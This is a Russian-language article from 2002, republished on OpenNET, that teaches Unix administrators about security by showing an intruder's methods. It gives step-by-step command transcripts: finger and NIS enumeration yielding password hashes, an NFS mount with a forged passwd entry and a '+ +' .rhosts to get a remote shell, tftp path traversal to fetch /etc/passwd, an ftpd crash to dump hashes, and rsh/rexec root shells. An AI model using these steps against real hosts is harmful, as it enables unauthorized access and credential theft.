The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Советы системному администратору по безопасности (sendmail security)


<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>
Ключевые слова: sendmail, security,  (найти похожие документы)
From: Vyacheslav & Fima Date: Mon, 25 Dec 2002 13:01:37 +0000 (UTC) Subject: Советы системному администратору по безопасности Этот документ был написан полтора года назад, я думаю он интересен и сейчас. //Vyacheslav. ______________________________________________________________ Советы системному администратору. Каждый день по всему миру взламываются компьютерные сети и сервера. Уровень этих атак различен. Вопреки общему представлению что большинство из них происходит из-за слабых паролей, множество атак использует более сложный способ. Эти способы менее известны и их трудно обнаружить. Чтобы защититься от таких проникновений необходимо понимать их. Мы попытаемся пояснить некоторые из них... Почему мы решили написать этот документ? Большинство книг и документов посвященных защите смотрят на нее глазами администратора - человека который сидит внутри системы и иногда плохо представляет ее внешние границы. Давайте отойдем от привычных представлений о системе защиты. Посмотрим на нее глазами потенциального взломщика. Для этого человека ваша система - черный ящик (или коробка шоколадных конфет). Показывая что он может сделать для того чтобы получить доступ на ваш компьютер, мы пытаемся помочь системным администраторам получит представление о там на сколько реально защищен ваш хост. Мы не предполагаем раскрыть здесь все технологии и лазейки в системе - их количество растет каждый день. Системы усовершенствуются - изменяются технологии. Какую информацию мы можем получить об удаленной системе? Существует множество сетевых сервисов к которым следует обратиться: finger, rusers, showmount, rpcinfo, dns, ftp, sendmail... В идеале стоит собирать всю возможную информацию - информация это власть. Давайте попробуем. Что мы можем узнать? 0. Возможно не плохой шаг сначала узнать возможные allias, имя nameserver и состав сети в которой стоит этот хост. В этом может помочь nslookup (смотри man nslookup). 1. finger и rusers: devil# finger @www.xxx.xxxx.su [www.xxx.xxxx.su] Login Name TTY Idle When Office kuzmenko Vladimir Kizmenko p0 4:57 Sun 08:25 kuzmenko Vladimir Kizmenko p1 2:38 Sun 08:26 milichen Yuri Mulichenko p4 4:59 Fri 19:41 3B/r410 1-35-13 sherbak Eugeny Scherbkov p5 5:00 Sat 10:18 221/r448 1-77-33 devil# finger yur@ccsix.xxxx.xxxx.ru [ccsix.xxxx.xxxx.ru] Login: yur Name: Yuri A. Podgorodsky Directory: /home/yur Shell: /bin/bash On since Sat Apr 12 12:24 (MSK) on ttyp0 from jannet.xxxx.xxxx 3 hours 35 minutes idle Mail forwarded to yur@jannet.xxxx.xxxx.ru No mail. No Plan. devil# rusers -l unisun.xxxxx-xxx.net Login Name TTY When Idle Host lavrov unisun.xxxxx-xxx:console Apr 2 10:32 17:37 suh unisun.xxxxx-xxx:ttyp0 Apr 5 10:20 17:32 (mskws.desy.de) lavrov unisun.xxxxx-xxx:ttyp1 Apr 2 11:21 25:55 (:0.0) lavrov unisun.xxxxx-xxx:ttyp2 Apr 2 10:33 97:11 (:0.0) ... Эти сервисы дают нам аккаунты, позволяют нам узнать кто в данный момент работает в системе, их shell и домашний каталог, возможно имена доверенных хостов. Обратите внимание на графу Idle, если в ней стоит несколько часов, то скорее всего в данный момент никто не обратит на вас внимание. 2. rpcinfo: devil# rpcinfo sun10.xxx.xxx.su program version netid address service owner 100000 2 tcp 0.0.0.0.0.111 rpcbind unknown 100000 2 udp 0.0.0.0.0.111 rpcbind unknown 100004 2 udp 0.0.0.0.2.150 ypserv unknown 100004 2 tcp 0.0.0.0.2.151 ypserv unknown 100004 1 udp 0.0.0.0.2.150 ypserv unknown 100004 1 tcp 0.0.0.0.2.151 ypserv unknown 100069 1 udp 0.0.0.0.2.152 - unknown 100069 1 tcp 0.0.0.0.2.154 - unknown 100007 2 tcp 0.0.0.0.4.0 ypbind unknown 100007 2 udp 0.0.0.0.4.3 ypbind unknown 100007 1 tcp 0.0.0.0.4.0 ypbind unknown 100007 1 udp 0.0.0.0.4.3 ypbind unknown 100028 1 tcp 0.0.0.0.2.156 ypupdated unknown 100028 1 udp 0.0.0.0.2.158 ypupdated unknown 100009 1 udp 0.0.0.0.3.255 yppasswdd unknown 100029 1 udp 0.0.0.0.2.159 keyserv unknown 100003 2 udp 0.0.0.0.8.1 nfs unknown 100005 1 udp 0.0.0.0.2.223 mountd unknown 100005 2 udp 0.0.0.0.2.223 mountd unknown 100005 1 tcp 0.0.0.0.2.226 mountd unknown 100005 2 tcp 0.0.0.0.2.226 mountd unknown 100024 1 udp 0.0.0.0.2.226 status unknown 100024 1 tcp 0.0.0.0.2.228 status unknown 100021 1 tcp 0.0.0.0.2.229 nlockmgr unknown ... rpcinfo дает информацию о запущенных RPC сервесах. Наиболее интересны из них mountd, nisd, ypserv и ypbind, statd, bootparam, pcnfsd, rexd. statd позволяет стереть удаленно любой файл (rs host //../../../../../../../../../etc/passwd), pcnfsd и mountd дают доступ к дискам машины, rexd - удаленное выполнение команд. 3. NIS (nisd, ypbind, ypserv). Если эта машина является NIS сервером, то зная NIS имя домена вы можете получить любые NIS карты простым rpc запросом. Обычно это имя совпадает с именем домена и можно попытаться его угадать: devil# ypx -dg sun10.xxx.xxx.su Trying domain sun10.xxx.xxx.su Trying domain sun10 Trying domain xxx.xxx.su sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag sybase:*:13:55:syb:/usr/nms/sybase:/bin/csh nobody:*:65534:65534::/: daemon:*:1:1::/: audit:*:9:9::/etc/security/audit:/bin/csh uucp:*:4:8::/var/spool/uucppublic: sync:__F324VMRDcL6:1:1::/:/bin/sync root:__Ye.Ibw.8uQg:0:3:Operator:/:/bin/csh news:*:6:6::/var/spool/news:/bin/csh sys:*:2:2::/:/bin/csh snm:__7ck.pfEh/2s:11:11:Network Manager:/usr/snm:/bin/csh rom:__IriAsoksSeE:10:10:Victor Romanchik:/usr/rom:/bin/csh nms:*:12:55:Network Manager:/usr/nms:/bin/csh bin:*:3:3::/bin: YP map transfer successfull. (мы заменили первые два символа каждого пароля на '__' и изменили имена здесь и далее в тексте) Если угадать NIS имя домена не удается, возможно получить его через bootparam сервис или подсмотреть в директории /var/yp, если она доступна публично. 4. showmount: devil# showmount -e thsun1.xxxx.xxxxx.su export list for thsun1.xxxx.xxxxx.su: /pub (everyone) /opt thsun2,thsun3,tlx39 /pgm/linux (everyone) /export (everyone) /usr (everyone) /tftpboot (everyone) /cdrom/sol_2_3_hw894_sparc/s0 (everyone) /home (everyone) /scratch/users (everyone) С помощью showmount мы узнали о разделах, предоставляемых этим хостом, о правах доступа к ним и возможно о доверенных хостах. Такие важные каталоги как export, home, usr доступны всем! Попробуем... devil# mount -F nfs thsun1.xxxx.xxxxx.su:/home /mnt devil# cd /mnt devil# ls -al total 12524 drwxr-xr-x 17 root root 1024 Jun 28 1996 . drwxr-xr-x 28 root root 1024 Apr 12 16:29 .. drwxr-xr-x 2 root root 512 May 19 1995 TT_DB drwxr-xr-x 3 root 798 512 Nov 25 1994 cfi drwxr-xr-x 6 root 100 512 Nov 25 1994 dug drwxr-xr-x 9 root other 512 Feb 17 11:19 lcta drwxr-xr-x 3 root other 512 Jun 19 1996 lhep drwxr-xr-x 6 root other 512 Feb 14 11:16 lnp drwxr-xr-x 6 root other 512 Feb 14 11:19 lnup drwxr-xr-x 4 root other 512 Jan 15 1995 lnur .... devil# cd lnup devil# ls -al total 12 drwxr-xr-x 6 root other 512 Feb 14 11:19 . drwxr-xr-x 17 root root 1024 Jun 28 1996 .. drwxr-xr-x 3 6000 600 512 Oct 30 1995 dolbilov drwxr-xr-x 9 6190 600 1024 Oct 7 1996 davgun drwxr-xr-x 4 6001 600 512 Oct 20 1995 gvf drwxr-xr-x 4 6003 600 512 Apr 4 10:31 yup devil# echo 'dolbilov::600:' >> /etc/groups devil# echo 'dolbilov:x:6000:600::/noway:/bin/csh' >> /etc/passwd devil# su dolbilov $ cd dolbilov $ ls -al total 30 drwxr-xr-x 3 dolbilov dolbilov 512 Apr 12 16:21 . drwxr-xr-x 6 root other 512 Feb 14 11:19 .. -rw-r--r-- 1 dolbilov dolbilov 2901 Apr 7 1993 .cshrc -rw-r--r-- 1 dolbilov dolbilov 1550 Apr 7 1993 .login -rw-r--r-- 1 dolbilov dolbilov 2750 Apr 7 1993 .rootmenu -rw-r--r-- 1 dolbilov dolbilov 478 Apr 7 1993 .sunview -rw------- 1 dolbilov dolbilov 2196 Oct 30 1995 mbox drwxr-xr-x 2 dolbilov dolbilov 512 Nov 25 1994 timezone $ echo '+ +' > .rhosts $ exit devil# rsh -l dolbilov thsun1.xxxx.xxxxx.su /bin/csh -i $ Таким образом мы получили shell на удаленной машине. 5. sendmail: devil# telnet www.xxx.ru 25 Trying 193.124.xxx.xx... Connected to www.xxx.ru. Escape character is '^]'. 220 www.xxx.ru ESMTP Sendmail 8.8.5/8.8.5; Sat, 12 Apr 1997 15:55:36 +0400 vrfy serg 550 serg... User unknown vrfy alex 250 Alexei E. Katov ... Так мы попытались угадать несколько системных аккаунтов и конечно записали версию sendmail'a - программы содержащей легендарное количество ошибок. Не будем заострять на них внимания. Новые версии выходять регулярно, [1]старые ошибки исправляются, появляются новые. :) 6. tftp: tftp широко известная программа похожая на ftp, служит для простейшего трансфера файлов. Ошибки в ней известны и исправлены в большинстве ОС, но и нижеследующий пример можно встретить: devil# tfp www.xxx.ru tftp> get /tmp/../../../../../../../../../etc/passwd /tmp/passwd tftp> quit devil# 7. ftp: Сервис ftp является не только удобным, но и опасным для вашей системы. Опасность представляет не только возможность украсть доверенную информацию или занести свою при неправильной конфигурации демона. Опасность представляет возможное крушение демона командами пользователя. devil# ftp xxxxxxxxxxx.xxx.com Connected to xxxxxxxxxxx.xxx.com. 220 xxxxxxxxxxx FTP server (UNIX(r) System V Release 4.0) ready. Name (xxxxxxxxxxx.xxx.com:root): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> user root 530 User root unknown. Login failed. ftp> user root 530 User root unknown. Login failed. ftp> user foobar 530 User foobar access denied. Login failed. ftp> quote pasv 421 Service not available, remote server has closed connection ftp> o xxxxxxxxxxx.xxx.com Connected to xxxxxxxxxxx.xxx.com. 220 xxxxxxxxxxx FTP server (UNIX(r) System V Release 4.0) ready. Name (xxxxxxxxxxx.xxx.com:root): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> bin 200 Type set to I. ftp> get core 200 PORT command successful. 150 Binary data connection for core (194.хх.ххх.ххх,51553) (281136 bytes). 226 Binary Transfer complete. local: core remote: core 281136 bytes received in 16 seconds (17 Kbytes/s) ftp> bye 221 Goodbye. devil# /********** Fragment of core ************/ ....994:..S.:. srk:__a2U/fw.FWhk:....::::..S harat:__mQb7Pij8mrA:....::::..S@ kchu:__/sPKnswJ8y2:9....::::..S` yhew:__0/L6foNhPoA:9....:::: ..S. :h6qh9see7ry .M:9353:....:. pa ..S.WGZ/NEzsLjwe 2:9097::..... flo ..S.Xbra.0mg/PMc :9097:::.... dave ..S.0VnE0zICamE: 9097::::.... on:2 ..T.VqQO2BOU:909 7::::::.....: /****************************************/ (мы заменили первые два символа каждого пароля на '__') 7. rexd: devil# su daemon $ on -i faxnetxx.xxx.ru /bin/sh -i $ uname -a faxnetxx faxnetxx 3.2 2 i386 $ id uid=1(daemon) gid=1(other) $ 8. Сканирование портов. Портмэппер сообщает только о rpc сервисах. О остальных запущенных сервисах можно узнать прямым сканированием портов. Приведем только наиболее важныее порты: а) X server. X сервер базируется на портах 6000 + номер дислея. Если Х сервер не использует для аутенфикации magic cookies или защита отключена командой 'xhost +', информация с его дисплеев может быть подсмотрена или украдена, нажатия клавиш записаны, программы - запущены удаленно(xspy, xpush, etc). Если хост поддерживает соединение к 6000 порту то это может быть использовано для denial_of_service аттак. б) rlogin и talkd. В большинстве систем эти сервисы имеют ошибки связанные с переполнением буфера. rlogin пытается получить от удаленной системы переменную TERM, а talkd - узнать имя хоста требующего соединение. Если эти демоны получают в ответ строку большой длинны то происходит переполнение буфера. Это дает возможность выполнить удаленно комманды с привилегиями root.(rlogin & talkd exploits). в) rsh и rexec. rsh и rexec позволяют получить коммандную оболочку нее оставляя записей в log-файлах. Кроме того эти сервисы не отслеживают запрет на удаленный root логин (/etc/default/login). devil# rsh -l smtp xxxx.xxx.ru /bin/csh -i Warning: no access to tty; thus no job control in this shell... # id uid=0(root) gid=0(root) ... devil# nc -v xxxx.xxx.ru 512 xxxx.xxx.ru [194.85.xxx.xxx] 512 (exec) open ^@root^@rootpasswd^@/bin/csh -i^@ Warning: no access to tty; thus no job control in this shell... # id uid=0(root) gid=1(other) ... 9. Доверенные хосты. Обычно, работая в пределах одной группы пользователям разрешается без пароля входить на соседние компьютеры. Такие доверительные машины указываются в файлах .rhosts и hosts.equiv. Предположить какие хосты являются доверенными можно отслеживая откуда наиболее часто заходят пользователи, особенно администраторы, просматривая права на доступ к NFS разделам. Использование доверительных отношений создает определенное удобство, но вместе с тем порождает опасность проникновения в систему злоумышленников. Взломщик может исказить информацию в DNS или NIS сервере и выдавать себя за доверенный хост. by Vyacheslav & Fima.

<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>

 Добавить комментарий
Имя:
E-Mail:
Заголовок:
Текст:




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру